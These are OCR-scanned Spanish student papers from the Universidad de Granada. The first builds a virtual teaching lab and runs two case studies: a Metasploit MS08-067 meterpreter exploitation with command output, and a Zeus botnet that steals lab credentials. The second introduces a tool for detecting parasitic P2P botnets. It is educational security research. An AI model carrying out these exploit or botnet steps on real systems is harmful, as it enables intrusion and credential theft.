Para finalizar, destacar como ventaja principal de Splunk
su facilidad a la hora de configurar una alerta tanto para la
deteccion de escaneos como de una intrusion, ademds de una
vista rapida y comoda de los resultados para poder analizar el
problema de una forma mas sencilla.

Afterglow, al estar incorporado dentro de Splunk, nos
ofrece la ventaja de una visualizacion facil y répida del
problema, sin necesidad de tener conocimientos adicionales
sobre la configuracién del mismo.

Como desventaja, cabe destacar las deficiencias que
presentan tanto los sensores en cuanto a la deteccion de
Metasploit o en la configuracién para la deteccion de una
infeccion por parte de una botnet, como de Splunk para una
deteccion 100 % segura de la botnet especifica estudiada.

Finalmente, se puede concluir que el material generado en
el presente proyecto para ser utilizado en un laboratorio de
seguridad cumple totalmente con los objetivos iniciales. En
este sentido, se establece un punto de inicio para la
consecucion de dicho laboratorio virtual de seguridad en
redes de comunicacion, aportando el realismo propio de una
red real y la flexibilidad necesaria para que con tan solo dos
ordenadores, una pareja de alumnos pueda simular todas las
partes de una red.
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Resumen—La seguridad en redes de computadores se ha
convertido en una de las principales preocupaciones de toda
aquella Organizacién que posea sistemas de informacion y
tecnologias potencialmente vulnerables. Es por ello que es
necesario proteger los activos adecuadamente contra amenazas
e intrusiones. EI método preventivo con mejores resultados es el
test de penetracion, por ser tan intrusivo como un ataque real,
permitiendo corregir los agujeros de seguridad encontrados.

Actualmente, los laboratorios docentes de la Escuela Técnica
Superior de Ingenierias Informética y de Telecomunicacion
(ETSHT) de la Universidad de Granada no poseen la
flexibilidad requerida para reproducir condiciones realistas
para el estudio de la seguridad en red, por tanto, el presente
proyecto establece un punto de inicio para la consecucion de un
laboratorio virtual de seguridad, combinando la virtualizacién
con los laboratorios de la ETSIIT, incrementando la capacidad
de reproduccion de un entorno real con la flexibilidad necesaria
para el disefio de préacticas de seguridad de gran calidad.

Palabras clave— Ataque, botnet, ciber-delincuencia, intrusion,
seguridad, test de penetracion, virtualizacion, vulnerabilidad.

I. INTRODUCCION

STE trabajo presenta un estudio de las técnicas de

evaluacién de seguridad en una red, apoyado en los
llamados tests de penetracion. Se evalGan algunas de las
principales herramientas necesarias para dichos tests, asi
como para realizar ataques a una red de computadores. La
motivacion para abordar este tema reside en que la seguridad
TIC es uno de los principales retos de la actualidad debido al
aumento de incidencias de seguridad en este &mbito.

El presente proyecto se ha realizado de forma coordinada
con el proyecto titulado ‘Herramientas BIG DATA de
deteccion de intrusiones para entorno docente y de
investigacion en Seguridad en Redes de Computadores’,
realizado por Anabel Reyes Maldonado [1] y dirigido por el
profesor José Camacho Pé&ez. En dicho proyecto se evallan
herramientas de monitorizacién y visualizacion de la
seguridad en red. La combinacién de ambos proyectos esta
enfocada al posterior uso en un entorno docente, para
prevenir, detectar y mitigar amenazas haciendo uso de la
emulacion por virtualizacion de sistemas.

De modo que, un primer objetivo para este proyecto
consiste en disefiar una metodologia para crear un laboratorio
virtual de seguridad en la ETSIIT, enmarcado dentro del
Proyecto de Innovacion Docente con cddigo 14-54. Y el
segundo de los objetivos consiste en realizar un estudio de
ambas vertientes de la seguridad, mediante la realizacion de
un test de penetracién y la creacion de una botnet, en
conjunto con las herramientas de deteccion, es decir se podra
comprobar como de preventivo puede llegar a ser un estudio
de seguridad, o como trabaja una de las mayores técnicas de
infeccion, asi como la reaccién por parte de una Organizacion
que incluye métodos proactivos de seguridad.

Il. REVISION DEL ESTADO DEL ARTE

La limitacion de los entornos docentes es la razon por la
cual se ha realizado un estudio de las diversas
aproximaciones a una red real con las que se podria solventar
el problema. De forma que se han analizado sus fortalezas y
sus debilidades y elegido posteriormente la mas completa y
realista.

A. Virtualizacion

La primera aproximacion a red real estudiada ha sido la
virtualizacion, con ella se puede utilizar mas de un sistema
operativo en un mismo ordenador, de forma simultanea y
persistente [2]. Es decir, la virtualizacion es un proceso que
se basa principalmente en montar un sistema operativo,
denominado maquina virtual, mediante la instalacién de un
software por encima del SO que usamos normalmente,
Ilamado anfitrion.

Uno de los inconvenientes de las maquinas virtuales es su
coste computacional, que lleva a que la ejecucion de un gran
nimero maquinas pueda saturar facilmente los recursos de la
maquina anfitriona.

Actualmente las plataformas de virtualizacion mas
importantes para el uso de maquinas virtuales son las
siguientes:

o VMWare [3]. Es el estdndar del mercado ya que
es el méas rapido, estable y seguro, principalmente
en sus versiones de pago. Actualmente ofrece dos
versiones  gratuitas, VMware Player vy
VMwareESXi, pero con ciertas limitaciones. Es
multiplataforma.
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e Virtual Box [4]. Unica solucién profesional
gratuita y disponible como software de codigo
abierto  GNU (GPL).  Tiene  soporte
multiplataforma incluyendo Solaris y una lista
creciente de caracteristicas como instalar el
software con privilegios adicionales a la maquina
fisica, tareas como compartir, archivos, unidades,
periféricos, etc.

e KVM [5]. Solucion para implementar
virtualizacion completa con Linux. Utiliza una
version modificada de QEMU (emulador de
procesadores), que permite obtener un
rendimiento espectacular cuando no se trata de
Microsoft Windows como guest. No tiene un
soporte completo para controladores.

B. Emulacion

La emulacién, por el contrario, no permite ni la
simultaneidad entre sistemas operativos, ni ejecutar
directamente el cddigo del sistema huésped.

La principal diferencia con la virtualizacién reside en que
los emuladores hacen una translacion de las instrucciones de
la maquina emulada, en lugar de ejecutar directamente el
cddigo en el guest. Por este motivo, los virtualizadores tienen
un funcionamiento menos problematico y mas rapido que el
tradicional emulador.

C. Simulacién

Segln Shannon, la simulacién es el proceso de disefiar un
modelo de un sistema real y llevar a término experiencias con
él, con la finalidad de comprender el comportamiento del
sistema o evaluar nuevas estrategias -dentro de los limites
impuestos por un cierto criterio 0 un conjunto de ellos - para
el funcionamiento del sistema [6]. Por tanto un simulador, en
este caso, tendria como fin probar la seguridad de una red sin
comprometer la maquina donde se simula.

Por desgracia, la construccion de un modelo de gran
envergadura no es trivial, ni tampoco la interpretacion de los
resultados. Ademas, la elaboracion de un modelo de
simulacion realista puede conllevar horas y horas tanto de
trabajo como de espera de resultados. Por este motivo, la
simulacion no parece la estrategia mas adecuada para el
estudio de la seguridad en red.

Analizadas las circunstancias, se opta por la virtualizacion
ya que es la Unica herramienta que posibilita la simultaneidad
entre sistemas operativos, siendo esta crucial para el
desarrollo de los experimentos de seguridad.

I1l. SOLUCION PROPUESTA

Teniendo en cuenta los objetivos especificados para este
proyecto, la disponibilidad de hardware real de interconexion
de red en los laboratorios de la ETSIIT, y analizando todas
las posibilidades disponibles, la opcién mas adecuada pasa
por combinar el uso del virtualizador VirtualBox, por ser
gratuito, multiplatafoma y ofrecer prestaciones aceptables,

junto con un dispositivo de interconexién real, aportando
mayor realismos y menor gasto computacional que una
simulacion del dispositivo.

1V. DISENO DEL ENTORNO

Se ha seleccionado la configuracion detallada, por ser
considerada la idénea para la posterior extrapolacion de la
misma a los laboratorios docentes de la ETSIIT, asi como
para realizar el test de penetracién y la creacion de una
botnet. En la Fig..1, se observa la red fisica a partir de la cual
se inician los experimentos. En la maquina 1 se virtualizan
todos aquellos sistemas operativos necesarios para el pentest
y el despliegue de la botnet, mientras que la maquina 2,
propiedad de [1], se encarga de la deteccion de intrusos en la
red, es decir, en ella se encuentran tanto las maquinas
virtualizadas vulnerables como las de deteccion y
visualizacion. El router interconecta ambas subredes.
Ademés se ha configurado VirtualBox de forma que simule
una red fisica real y soporte que cada una de las maquinas
virtuales tenga una IP diferente.

El primero de los casos de estudio es un test de
penetracién. Un test de penetracion es un analisis de
seguridad autorizado por la Organizacion solicitante, éste se
trata del método preventivo con mejores resultados, por ser
tan intrusivo como un ataque real, permitiendo corregir los
agujeros de seguridad encontrados.

El test de penetracion no se debe confundir con la auditoria
ya que el primero amplia los esfuerzos realizados para la
evaluacion de vulnerabilidades, es més intrusivo y requiere
un nivel de habilidad méas alto del que se necesita para la
auditoria de red ya que emula acciones de los ciber-
criminales. Pero tampoco se debe confundir con el hacking a
pesar de que los métodos y herramientas empleados sean los
mismos. Tras realizar el test de penetracion se podra saber si
las estrategias de mitigacion empleadas estan trabajando
como se esperaba y a continuacion actuar en consecuencia,
tomando medidas preventivas y correctivas.

Un test de penetracion debe estar cuidadosamente
planificado, de forma que en primer lugar se realizara un
andlisis del entorno (alcance, IPs...), posteriormente se
decidira el tipo de test de penetracién que se realizard y
completard el andlisis preparatorio mediante un analisis de
puertos. A continuacion se confecciona una lista detallada de
vulnerabilidades encontradas, para que en la etapa de
mantenimiento del acceso el pentester emule al ciber-
criminal y explote éstas vulnerabilidades. Finalmente se
deberian eliminar rastros, aunque en el presente proyecto no
se ha realizado dado que se esta colaborando con [1] y ella
podria necesitar esos rastros para determinar mi intrusion.

Ademaés de la correcta planificacién, se debe conocer qué
herramientas hay disponibles para desempefiar el analisis
correctamente, de forma que se ha realizado un estudio de las
posibilidades y elegido aquellas herramientas mejor

Maquina 1 Maquina 2
Dispositivo de aquna 2

interconexion

Fig. 1.- Esquema de red real
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posicionadas en su categoria segun el ranking "Top 100
Network Security Tools” [7] , ademas de ser gratuitas.

Por tanto, como escaner de puertos se ha seleccionado
Nmap [8], para la busqueda de vulnerabilidades se usara
Nessus [9] y finalmente para explotar las mismas se empleara
Metasploit [10].

El segundo de los casos de estudio, es un ataque de red,
para ello se ha creado una botnet, grave amenaza de
seguridad, que ha multiplicado su presencia en la red en los
Gltimos afios. El principal motivo que lleva a los
ciberdelincuentes a usar botnets es el econémico, es decir,
enriquecerse a costa de empresas.

En una botnet, aquellas maquinas que son infectadas
reciben el nombre de bots, término derivado de la palabra
‘robot’, dichas maquinas estan controladas por un agente
humano conocido como botmaster.

La comunicacién entre bots y botmaster se realiza por
mensajes de 6rdenes y control (C&C).Las posibilidades de
los bots son mayusculas ya que pueden realizar ataques de
DoS, son capaces de distribuir malware y spam, realizar
fraudes y un largo etc.

Aunque una botnet pueda usarse como herramienta de
pentest, su uso en ataques de ciberseguridad es mucho mas
extendido. Por este motivo, a continuacién se seguira una
organizacion en apartados mas acorde con el ciclo de
generacion de la botnet que con las etapas de un test de
penetracién. Cada una de las etapas del ciclo de vida
completo de éstas hasta conseguir el ataque exitoso ilustrard
claramente durante el experimento dos.

De entre las botnets estudiadas, se ha seleccionado Zeus
[11], que corresponde a una botnet HTTP, la cual es
controlada remotamente desde un sitio web por el botmaster.
Zeus se ha especializado en robar credenciales bancarias
equipos con versiones de Microsoft Windows.

V. TEST DE PENETRACION

El setup elegido para la realizacion de este caso de estudio
se muestra en la Fig. 2 en la Maquina 1, se ha creado una
maquina virtual denominada Pentest con la imagen de un
Ubuntu e IP 150.214.191.7 a partir de la cual se realizara el
test de penetracion. Para ello se ha incluido Nmap, Nessus y
Metasploit.

La IP ha sido fijada en base al rango de direcciones que
mediante DHCP provee el router. Este realmente no ejerce de
router en la red disefiada sino de switch. El direccionamiento
hacia la red privada se hara desde el firewall, Iptables. Tanto
el router como la maquina virtual, en un caso real serian
considerados como Internet.

La Méquina 2, con la imagen Ubuntu, contiene el firewall
Iptables, u sistema detector de intrusos (IDS), Snort, un
software de monitorizacién, Splunk, junto con el software de
visualizacién, Afterglow. Este equipo dispone de dos
interfaces, una con direccion IP publica (150.214.191.5) y
otra con direccion IP privada (192.168.1.1). La red privada
incluida contiene distintos sistemas operativos para dotar de
realismo a la red.
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Fig. 2. Mapa de red. Objetivo: test de penetracion

Teniendo claro el esquema de red y la finalidad del test de
penetracién, a continuacion se muestra su desarrollo.

El test de penetracion se ha realizado en el rango de
direcciones privadas de la subred controlada por [1] tratando
de conseguir una intrusién obteniendo los mas altos
privilegios y realizando modificaciones en el mismo.

Se ha procedido al test de penetracion mediante una
‘Prueba a Ciegas’ la cual se lleva a cabo sin el conocimiento
del administrador, en este caso [1], para asi evaluar la
vigilancia y respuesta de éste asi como de la propia red. Para
ello se conoce el rango de direcciones IP tanto publicas
asignadas por el router que actGa como servidor DHCP,
como privadas establecidas para la red interna.

A continuacién, se ha sondeado el sistema mediante un
escaneo de puertos. La herramienta con la que se ha
desempefiado este propdsito es Nmap que manda paquetes
IP, TCP y UDP al sistema remoto y analiza las respuestas
comparando con su base de datos, para determinar qué hosts
estan disponibles en la red, qué servicios estan ofreciendo los
anfitriones (nombre de la aplicacion y versién) y qué
sistemas operativos se estan ejecutando.

En esta Fig. 3 se muestra parte del resultado de escanear
todo el rango de direcciones privadas. Que tal y como se
observa se ha conseguido saber que la maquina cuya IP es la
192.168.1.2 usa un sistema operativo de Microsoft Windows,
ya sea XP 0 2003. Ademas se muestran los puertos que estan
abiertos y el tipo de servicios que ofrecen. Con esta
informacién acerca del SO y los servicios ya se pueden
conocer algunas vulnerabilidades del sistema.

Queda completado por tanto el trabajo preparatorio, Tras la
evaluacion, se usa un scanner para confeccionar una lista con
las vulnerabilidades y su nivel de riesgo. El scanner elegido
es Nessus.

monica@monica-VirtualBox:~$ sudo nmap -0 192.168.1.0-255

Starting Nmap 6.00 ( http://nmap.org ) at 2014-06-12 12:20 CEST

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
Try using --system-dns or specify valid servers with --dns-servers

Nmap scan report for 192.168.1.1

Host is up (0.0045s latency).

ALl 1000 scanned ports on 192.168.1.1 are closed

Too many fingerprints match this host to give specific 0S details

Network Distance: 1 hop

Nmap scan report for 192.168.1.2

Host is up (0.0082s latency).

Not shown: 997 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

Device type: general purpose

Running: Microsoft Windows XP[2003

0S CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o:microsoft:windows_s
erver_2003

0S details: Microsoft Windows XP Professional SP2, Microsoft Windows XP SP2 or S
P3, or Windows Server 2003, Microsoft Windows XP SP2 or Windows Server 2003 SP2 §

Fig.3. Resultado escaneo de puertos



M. Leyva Garcia (tutor J. Camacho Paez): Herramientas de test de penetracion y ataques en red para entorno docente y de investigacion

en Seguridad en Redes de Computadores
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Endtime:  Sat Aug 2 11:58:24 2014
Elapsed: 2 minutes

Vulnerabilities
@ info
- Low
Medium
Hgh
& Cricat

Fig. 4. Resultado del escaneo realizado por Nessus

Tras finalizar el escaneo a la direccion 192.168.1.2, se
reporta el nimero de vulnerabilidades de la maquina y el
riesgo asociado a las mismas, como se observa en la Fig. 4.

De entre las dos vulnerabilidades que mayor riesgo tienen
asociado, las caracteristicas que presenta la vulnerabilidad
MS08-067 son mas afines a la finalidad de este test de
penetracién, por lo que sera la usada para el mantenimiento
del acceso.

MS08-067 es una vulnerabilidad en el servicio ’Server’ que
un atacante puede aprovechar para ejecutar codigo arbitrario
sin autenticacion y con los mismos privilegios que el usuario
que haya iniciado la sesion. Si dicho usuario posee derechos
de administrador, se tendra control completo del sistema para
crear, modificar o borrar archivos, instalar programas, crear
nuevas cuentas de usuario, etc.

Tras detectar la vulnerabilidad el pentester debe
comportarse tal y como un ciber-delincuente y explotar las
debilidades del sistema. De los tres exploiters validos para la
vulnerabilidad MS08-067, se usard Metasploit por ser
gratuita.

Para explotar la vulnerabilidad, Fig. 5, en primer lugar se
hace uso del protocolo de red SMB usado para compartir
archivos entre nodos de una red, pero cuya finalidad, en este
caso, es acceder remotamente a un Windows XP
aprovechando el bug mediante el cual se realiza la
explotacion.

A continuacién se configuran los parametros del médulo
con el que se trabaja, en este caso MS08_067_netapi, y se
establece la direccion del equipo poseedor de la
vulnerabilidad. Finalmente, se ejecuta la carga util, es decir,
la parte del exploit que realiza la accion maliciosa en la
maquina victima.

Como la finalidad es entrar en el sistema de la victima, el
tipo de carga util usado es el bind_ tcp de Meterpreter.
Meterpreter se trata de carga Util avanzada, que opera a través
de la inyeccion de DLL. El Meterpreter reside completamente
en la memoria de la maquina remota y no deja rastros en el
disco duro, por lo que es muy dificil de detectar con las
técnicas forenses convencionales. Por Ultimo, si se lanza un
shell, obtenemos el acceso al sistema con privilegios de
administrador.

msf > use windows/smb/ms@8_067_netapi

Imsf exploit( ) > set RHOST 192.168.1.2

RHOST => 192.168.1.2

Imsf exploit( ) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp

Imsf exploit( ) > exploit

#] started bind handler

#] Automatically detecting the target...

#] Fingerprint: Windows XP - Service Pack 3 - lang:English

#] Selected Target: Windows XP SP3 English (AlwaysOn NX)

*] Attempting to trigger the vulnerability...

#] Sending stage (769024 bytes) to 192.168.1.2

*] Meterpreter session 1 opened (150.214.191.7:55724 -> 192.168.1.2:444
) at 2014-08-02 12:04:56 +0200

[
[
[
[
[
[
[
4

meterpreter > shell

Microsoft Windows XP [Version 5.1.2600]
(c) copyright 1985-2081 Microsoft Corp.

C:\WINDOWS\system32>]]

Fig. 5. Acceso conseguido

Directory of C:\Documents and Settings\Administrator\My Documents

08/02/2014 12:19 PM
12:19 PM
12:18 PM
09:19 PM
12:17 PM
1 File(s)
4 Dir(s)

<DIR>
<DIR> .e
15 experimentol.txt
My Music
My Pictures
15 bytes
9,650,962,432 bytes free

<DIR>
<DIR>

IC:\Documents and Settings\Administrator\My Documents>del experimentol.txt
[del experimentol.txt

IC:\Documents and Settings\Administrator\My Documents>dir
dir

Volume in drive C has no label.

Volume Serial Number is 6COA-27C9

Directory of C:\Documents and Settings\Administrator\My Documents

08/02/2014 12:19 PM
12:19 PM
09:19 PM
12:17 PM
0 File(s)
4 Dir(s)

<DIR>
<DIR>
<DIR>
<DIR>

My Music
My Pictures
© bytes
9,650,962,432 bytes free

C:\Documents and Settings\Administrator\My Documents>mkdir MénicaEstuvoAqui
mkdir MénicaEstuvoAqui

C:\Documents and Settings\Administrator\My Documents>dir
dir

Volume in drive C has no label.

Volume Serial Number is 6COA-27C9

Directory of C:\Documents and Settings\Administrator\My Documents

08/02/2014 12:20 PM
08/02/2014 12:20 PM
01/16/2014 ©9:19 PM
08/02/2014 12:17 PM
08/02/2014 12:20 PM

<DIR>
<DIR>
<DIR>
<DIR>
<DIR>

My Music

My Pictures
MénicaEstuvoAqui
0 File(s) 0 bytes

5 Dir(s) 9,650,962,432 bytes free

Fig. 6. Modificaciones en el sistema remoto

Una vez que se ha conseguido el acceso, las posibilidades
son multiples... En el test de penetracion con conseguir
modificar, crear o eliminar algun archivo es suficiente para
demostrar que el sistema es potencialmente vulnerable. En la
Fig. 6 se muestra como se ha eliminado el documento
‘experimentol.txt’ y ¢cdmo se ha creado una nueva carpeta
denominada ‘MonicaEstuvoAqui’ sin  ningdn tipo de
impedimento.

VI. BOTNET

En la fig. 7 se puede ver en detalle la arquitectura de red
planteada para el segundo caso de estudio, tratdndose éste de
la creacion de una botnet Zeus. El segmento de la red que a
este proyecto corresponde difiere al anterior y se conforma de
botmaster (150.214.191.9) y servidor web (150.214.191.4).

El botmaster se ha realizado a partir de un SO Windows
XP y cuenta con herramientas para crear, mantener y
controlar la botnet.

Por otra parte en un Ubuntu se ha incluido un servidor web
en el cual se aloja la pagina web desde la que los usuarios
descargaran el ejecutable del Zbot. También incluye una
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Fig 7. Mapa de red. Objetivo: creacion de botnet

pagina web con un formulario a rellenar por los clientes, de
forma que a aquellos que sean bots, le puedan ser robados los
credenciales.

El direccionamiento se hace tal y como en el experimento
anterior y las herramientas usadas para la deteccidn por parte
de [1]son las mismas. Aquellas maquinas de la red privada
cuyo sistema operativo sea Microsoft Windows que ejecuten
el Zbot, se convertiran automaticamente en bots de la red.

El ciclo de vida de la botnet comienza con la concepcion.
En esta etapa, el fichero relevante para la confeccion del
bot.exe el cual desencadenara la infeccion es el config.txt
El archivo de configuracién se divide en dos secciones;
staticConfig y dynamicConfig. StaticConfig contiene los
parametros que son codificados en el bot y a los que obedece
el mismo y dynamicConfig incluye pardmetros que pueden
ser cambiados tras la creacion del Zbot, ya que no son
codificados por el builder, sino que son guardados como una
configuracion encriptada a la que el bot tiene acceso a ellos
en todo momento, como es el caso de la URL del script php
que acepta las descargas de los datos, archivos etc. de los
bots.

Una vez que el archivo de configuracion ha sido editado en

base al fin buscado, es momento de crear el troyano. Para ello
se emplea la herramienta Zeus Builder. Tras cargar el
config.txt se crean los archivos .bin y .exe, siempre y cuando
el builder no encuentre errores en el archivo de
configuracion. Ambos archivos obtienen su nombre a través
del config.txt.
Una vez que se ha creado el troyano, es momento de
considerar qué método de infeccion es el adecuado. En este
proyecto se ha creado un servidor web que aloja la pégina
web a partir de la cual cada usuario que acceda descargara el
ejecutable del bot.

En el momento en el que este cliente se identifique
correctamente y trate de acceder al contenido que hay tras
ella, segun el navegador que use pedira confirmacion para

que el botexe sea almacenado o se descargara
automaticamente. En todos los casos el usuario
posteriormente debera ejecutarlo.

Tras la ejecucion, se inician dos procesos casi

simultaneos. Por una parte, el ejecutable descargado y usado
en la instalacién se elimina de forma automatica, se copia a si
mismo en el PC, aumenta sus privilegios e inyecta codigo de
modo que intercepta la APl de Windows en cada proceso.

Tras completarse todo este proceso, el bot envia tres
consultas "M-SEARCH *" a la direccion multicast
239.255.255.250, a través del puerto UDP 1900 (SSDP)

Esta consulta UPnP se utiliza para detectar dispositivos
UPnP en la red, y determinar asi si el ordenador infectado
tiene una IP publica.
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Por otra parte, el botmaster en su servidor a partir de este
instante registrara al equipo, y por tanto comienza el ciclo de
interaccion donde el cliente se convierte en un robot de la
botnet. Con la infeccién de la victima ya se tiene una
infraestructura C&C (Comand & Control), y para controlarla
el botmaster dispone del panel de control.

La pagina inicial se muestra informacion sobre cuéantos
equipos hay infectados, cuanto tiempo estan activos, version
del bot etc.

Tras la infeccién, cuando el bot acceda a determinada
pagina web, los credenciales seran robados. En la Fig. 8 se ve
cémo la maquina cuya IP es 192.168.1.2. trata de acceder a
la pagina http://150.214.191.4/segred/login_sucessll.php
introduciendo su pareja de usser-pass correctamente en
http:// 150.214.191.4/segred/Expll.php , Tras ser comprobado
por el servidor que los datos son correctos y redireccionar a
la pagina deseada
http://150.214.191.4/segred/login_sucessll.php, el bot envia
la informacién robada al servidor de comando y control,
mediante una solicitud POST al url_server, URL
especificada en el archivo de configuracion.

El servidor de comando y control usa una base de datos
MySQL llamada 'bssnet' para almacenar informacion acerca
de la botnet, es por ello por lo que se pueden mostrar los
reportes en cualquier momento desde el panel de control.

Esto se puede se puede ver en la Fig.9, donde se muestran
los resultados del robo de credenciales detallado en este
experimento (observar user, pass, URL inicial y redireccién).

v B  vincos

Direccion | 4] http:{150.214.191.4/seqred/ExplL.php

Member Login
Username : |alumno

finisterre

Password

e\ Simbolo del sistema

P [Uersion 5.1.26001
i1 Microsoft Corp.

Microsoft Wind
<C> Copyright 198!

C:\Docunents and Settings\alumno->ipconfig

[Conf iguracién IP de Windows

Adaptador E

- default --
2.08.9
P, 5P 3
3082
02.08.2014 19:36:58
+2100
e : 00:03:28
Reporttimer 02087014 17106156 ks
Countrys
1Pud: 150.714.191.5
Gomment for boti -
In the list of used: o
Pro Ei\Archives de programalInternet Exploreriiexplore, axe
i ROGTialumno
http1//150,214,191, 4/s2gred/chackloginil,php

saurce

hrtp://150.214.191.4/segrad/checkloginll. phe
Referer: http://150.214.191.4/segred/ExpIT.php
User input: /Expe-II.phpalurnofinisterre

POET data:

MyRSErnate=alumng
mypassvord=finisterre
Submit=Login

Fig. 9. Reporte de credenciales robados
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en Seguridad en Redes de Computadores

Queda constatado que Zeus posee una potente capacidad
de intrusion y de robo ya que aunque en el presente proyecto,
las credenciales robados no son mas que una identificacion
de acceso a una pagina web, en el caso en que la maquina
infectada efectuase una compra online, la importancia del
robo aumentaria enormemente ya que a partir de dicho
instante, el botmaster podria usar esa cuenta bancaria como si
se tratase de la suya propia.

VII. ANALISIS DE LOS RESULTADOS

Este proyecto ha sido orientado a disefiar un entorno
docente y de experimentacion de seguridad en red, y ofrecer
un par de casos de estudio en el mismo. Se puede concluir
que el material generado en el presente proyecto para ser
utilizado en un laboratorio de seguridad cumple totalmente
con los objetivos iniciales.

Inicialmente se ha realizado un estudio de las técnicas de
evaluacion de seguridad en una red para realizar un test de
penetracion y mediante las herramientas seleccionadas se ha
conseguido detectar que en la red habia maquinas vulnerables
a las cuales se ha podido acceder y modificar archivos con
permisos de administrador, y lo que es mas, todo ello sin
dejar huella una vez que se ha accedido. De forma similar, se
ha conseguido satisfactoriamente crear una botnet y recopilar
credenciales de las maquinas infectadas.

Si penetracion o ataque se realizan en una Organizacion
reglas de deteccion defectuosas, o inexistentes, las alertas no
seran registradas, como se ha podido comprobar con algunas
de las pruebas realizadas.

REFERENCIAS

[1] Reyes Maldonado, Anabel. “Herramientas BIG DATA de deteccion de
intrusiones para entorno docente y de investigacion en Seguridad en
Redes de Computadores”. Proyecto Fin de Carrera, TSTC, UGR,
Granada, Espafia 2014

[2] VIRTUALIZACION
http://www.microsoft.com/spain/virtualizacion/products/server/default.
mspx

[3] MAQUINA VIRTUAL, VMWARE http://www.vmware.com/es

[4] MAQUINA VIRTUAL, VIRTUALBOX https:/www.virtualbox.org/

[5] MAQUINA VIRTUAL, KVM
http://www.linux-kvm.org/page/Main_Page

[6] SIMULACION
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=4309432

[7] TOP 100 NETWORK SECURITY TOOLS http://sectools.org/

[8] NMAP http://nmap.org/

[91 NESSUS http://es.wikipedia.org/wiki/Nessus

[10] PROYECTO METASPLOIT
http://en.wikipedia.org/wiki/Metasploit_Project

[11] ZEUS- BOTNET
http://www.antisource.com/article.php/zeus-botnet-summary

102


http://www.microsoft.com/spain/virtualizacion/products/server/default.mspx
http://www.microsoft.com/spain/virtualizacion/products/server/default.mspx
http://www.vmware.com/es
https://www.virtualbox.org/
http://www.linux-kvm.org/page/Main_Page
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=4309432
http://sectools.org/
http://nmap.org/
http://es.wikipedia.org/wiki/Nessus
http://en.wikipedia.org/wiki/Metasploit_Project
http://www.antisource.com/article.php/zeus-botnet-summary

Herramienta para la deteccion de botnets
parasitas P2P

Autor: Juan Rafael Villén Pulido, e-mail: juanry_5@hotmail.com
Tutor: Gabriel Macia Fernandez; e-mail: gmacia@ugr.

Tutor: Rafael Alejandro Rodriguez Gémez; e-mail: rodgom@ugr.es
Titulacién: Grado en Ingenieria de Tecnologias de Telecomunicacion
Departamento de Teoria de la Sefial, Telemética y Comunicaciones
Universidad de Granada

Resumen— EI principal potencial de las redes botnets reside
en su infraestructura distribuida, de forma que numerosos
equipos controlados por un solo atacante son capaces de
cometer actividades ilegitimas, En concreto, una de las
preocupaciones de la actualidad es el negocio ilegal que subyace
bajo ellas, el cual mueve cifras econdmicas alarmantes.

De todos los tipos de botnets existentes, el presente Trabajo
estd centrado en las botnets parasitas P2P. Este tipo de botnets
utilizan redes legales y legitimas para ocultarse y comunicarse.

El propodsito de este Trabajo es la implementacion de una
herramienta de deteccion de botnets paréasitas que funcione de
forma unificada aprovechando distintos moédulos ya
implementados. Sus objetivos principales son llevar a cabo una
monitorizacion constante de los recursos de una zona de la red
de Mainline y descargar de forma automatica aquellos recursos
identificados como anémalos por el algoritmo de deteccion de
botnets parésitas. Asi, la herramienta a desarrollar permitird, la
visualizacion de los resultados obtenidos en una interfaz grafica.

Palabras clave— deteccion de botnets parasitas, Kademlia,
Mainline, monitorizacion, P2P, preprocesado, recursos
andémalos.

I. INTRODUCCION

CTUALMENTE, la deteccion de botnets es una temética
bastante popular en la literatura de investigacion. Una
gran mayoria de las propuestas para la deteccidon de botnets
estan basadas en mecanismos de deteccion a través de los
cuales se pueda extraer la actividad Command and Control
(C&C) de la botnet. En [1] se describen diferentes técnicas de
deteccidn de botnets basadas en la extraccion de la actividad
C&C de la botnet. Entre ellas podemos encontrar técnicas de
deteccion estructurada y técnicas basadas en el
comportamiento. Estas técnicas necesitan un analisis de una
gran cantidad de tré&fico de la red de la cual extraer modelos
de comportamiento para aplicar a la hora de detectar
anomalias en la red. El problema principal de este tipo de
técnicas, es que suelen ser técnicas particulares para cada una
de las botnets a detectar, debido principalmente a que el
trafico de red C&C es muy variable de unas botnets a otras.
Este trabajo estd centrado en un tipo de botnets, en
concreto estd centrado en las botnets pardsitas P2P. La
particularidad de este tipo de botnets son las siguientes:

1. Este tipo de redes construyen canales C&C de
acuerdo al protocolo de comunicacion de una red
P2P como puede ser el caso de BitTorrent.

2. Los paquetes con los comandos de la botnet, son
enviados periddicamente a través de la red de
BitTorrent hacia los miembros de la botnet que
seran los encargados de ejecutarlos.

Es decir, este tipo de botnets difieren de las botnets P2P
tradicionales en que utilizan en su fase de interaccién redes
legitimas para comunicarse.

Dentro del campo de la deteccién de botnets, la deteccion
de las botnets parésitas esta considerada como uno de los
problemas mas complejos [2]. Esto es debido principalmente
a que en las botnets P2P, no tienen un sistema estructurado si
no que son de tipo distribuido y los recursos son compartidos
por diferentes nodos de la red, de esta forma, estas botnets no
pueden ser eliminadas atacando al servidor central. Por otro
lado, en las redes P2P la comparticiéon de un recurso, que
contiene las ordenes para los miembros de la botnet, no tiene
porqué diferir sustancialmente de lo que podria ser la
comparticion normal de un recurso en la red P2P legitima.

Por este motivo principal, no es util llevar a cabo un
sistema de deteccion basado en el estudio del trafico de la red
a traves del cual se puede detectar que lo que se estd
compartiendo es un recurso que contiene comandos
pertenecientes a un botmaster.

En [3] se presenta hasta ahora, el Unico esquema de
deteccion de botnets parésitas, basado en el modelado de la
evolucion del nimero de nodos que comparten un recurso en
una red P2P durante el tiempo. Este sistema de deteccion esta
basado en la monitorizacién del ndmero de nodos que
comparten un recurso determinado. En base a este nimero de
nodos y a un modelo tedrico del comportamiento esperado en
la comparticién de un recurso por parte de una botnet, esta
aproximacion es capaz detectar la comparticion de recursos
pertenecientes a posibles botnets paréasitas.

Haciendo uso de este esquema de deteccion, en este
Trabajo se ha implementado una herramienta de deteccion de
botnets parasitas que funciona de forma unificada
aprovechando distintos modulos ya implementados.
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Il. CONCEPTOS FUNDAMENTALES DE BITTORRENT

A continuacion para la comprensién general del presente
trabajo, se explican los conceptos fundamentales de
Bittorrent.

